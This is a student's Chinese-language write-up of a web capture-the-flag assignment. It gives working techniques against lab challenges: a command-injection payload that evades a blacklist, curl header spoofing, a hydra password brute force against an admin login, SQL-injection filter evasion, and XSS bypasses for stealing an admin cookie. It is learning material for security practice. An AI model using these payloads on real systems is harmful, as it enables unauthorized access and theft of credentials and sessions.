--- tag : attack and defense --- # 攻防作業三[web ctf] --- # 第一題[12000]:Gomai 沒有說明,只有給一個網址,要求很簡單,找到flag就可以 - **第一部分** - 首先按f12,叫出開發者介面點開他的html檔裡面就可以找到flag的一小部分 - **第二部分** - 藏在.css檔的最下面 - **第三部分** - 藏在<span class="blue">cookie</span>裡面,可以從console裡面找也可以從network裡面去點 - **第四部分** - 進到network。<span class = "blue">要點進去後重新整理頁面才會出來</span>,最後在某張圖面找到了falg4的資訊 - **第五部分**就在index.js裡面!!因為他是程式碼所以看都不想看。從學長那邊學到了可以直接把東西貼在網頁的console,因此得知了b0cchi的數字。比較麻煩的是,要找到falg5需要去改程式碼: - .css裡面已經看到他有註解一段overflow: hidden scroll的程式,我也不知道改哪裡,反正就是把所有的hidden改成hidden scroll。 - 第二個要改的就是.js檔裡的東西,因為b0cchi的數字很大,程式裡面寫到要大於b0cchi才會跑進趴伍的程式裡面,但是他那個loop每次都只+1,所以我們把那個+直接改成八位數(( - 改好之後存檔(我把網頁載下來)接著打開改好的檔案,打開網頁裡的console,接著下拉卷軸(改hidden scroll的用意)滑個兩下就會大於b0cchi這時候console裡面就會出現第五段flag了!! - 接下來就要拼接~~那第一部分很長,總之慢慢裁,裁到他跑出來的只剩下有意義的東西,然後把後面找到的也全部拼上去,要連在一起拼喔~然後就有解答了~~ - 弄粗乃的東西長這樣:QURMezBLYWFzQU5fTjBfVDBNMERhY2hpX3kwQjBrYXxodHRwczovL3lvdXR1LmJlL0l3SHd2LWxjeGk0fQ== - 轉成utf-8後長這樣: >ADL{OKaasAN_NO_TOM0Dachi_0B0ka|https://youtu.be/lwHwv-Icxi4} # 第二題[12001] bocchi search tool 考指令(?) - **第一步** - 要求送一個json檔, head 要是bocchi - blacklist擋掉cat , flag , | 等關鍵字 - 找到替換符號`` - 因為cat 不能用,所以用了tac() - flag被擋掉所以用f[l]ag, []可以是個list, 用來躲掉blacklist - 前後要‘’, 因為code前後有加單引號所以要中斷掉不然會被判定成string - **結果** - {"bocchi":"'\`tac f[l]ag\`'"} >ADL{k4njuku_m4ng0_https://youtu.be/B7BxrAAXl94} # 第三題[12002] Monster *考header* - **第一部分** - **HINT** : <span class = "blue">STARRYBrowser</span> - 去看header裡面有關browser的資訊:User-Agent那欄改成STARRYBrowser >curl -H "User-Agent:STARRYBrowser" http://ctf.adl.tw:12002/ - **第二部分** - **HINT** : <span class = "blue">Your IP must be 127.0.0.1</span> - 再改header - >curl -H "User-Agent:STARRYBrowser" -H "X-Forwarded_for: 127.0.0.1" http://ctf.adl.tw:12002/ - **第三部分** - **HINT** : <span class = "blue">You must speak Japanese and you must be in Japan. </span> >curl -H "User-Agent:STARRYBrowser" -H "X-Forwarded_for: 127.0.0.1" -H "Accept-Language: ja-JP" http://ctf.adl.tw:12002/ - **第四部分** - **HINT** : - > <span class = "blue"> Now, you must <a href="/admin">login</a><div style="opacity:0.025">bocchi & 🤘rockyou!!!</div> </span> - go to http://ctf.adl.tw:12002/admin - username 是bocchi - hydra -l bocchi -P /usr/share/wordlists/rockyou.txt 140.115.59.7 -s 12002 http-get /admin - password用hydra跑一整個晚上出來是bocchio ![](https://i.imgur.com/dYOTcEA.png) - 登入後會跳回12002 - **第五部分** - **HINT** : ![](https://i.imgur.com/Fqwv5lt.png) 在header的部分找到多出的Authorization, 把它加進curl的行列, 網址是用admin的 >curl -H "User-Agent:STARRYBrowser" -H "X-Forwarded_for: 127.0.0.1" -H "Accept-Language: ja-JP" -H "Authorization: Basic Ym9jY2hpOmJvY2NoaW8=" http://ctf.adl.tw:12002/admin - **得到flag:** - <code>ADL{g0men_Im4OK4N3Naik4ra_0BOte_https://youtu.be/Gc3NKC8TQtY}</code> # <span class = "orange">第四題[12003] ISOSTAGRAM - 1</span> - 依提示前往/?source - 在這邊找到username = 'kita0421' - blacklist 基本sql語法 - 下方有sql語法 -> 推測為sql injection - 避開blacklist : U**UNION**NION, A**AND**AND... etc - 應該用union select, 但我們還沒找到方法 - 嘗試用order by 確認行數,但輸入 ' ORDER BY 1-- 就掛了 - 使用 ' UUNIONNION SSELECTELECT NULL-- 也一樣不行 - ***- haven't figure out the solution*** # <span class = "orange">第五題[12004] ISOSTAGRAM - 2</span> 因為-1都沒有做出來所以沒做 # <span class = "orange">第六題[12005] FUKUWARAI</span> 根本看不懂介面 : ) # <span class = "orange">第七題[12006] Message board </span> XSS - 利用輸入撈admin cookie - 一開始cookie只有userid,忘記輸入啥東西之後就跑出了sessionid - 輸入有擋script, svg, image 等html tag,但是iframe可以用 - 利用雙寫可以繞過,但script沒法執行不知道是不是要用其他方法,svg和img雙寫後都可以執行alert - <style> .blue { color: blue; } </style> <style> .orange{ color: orange; } </style>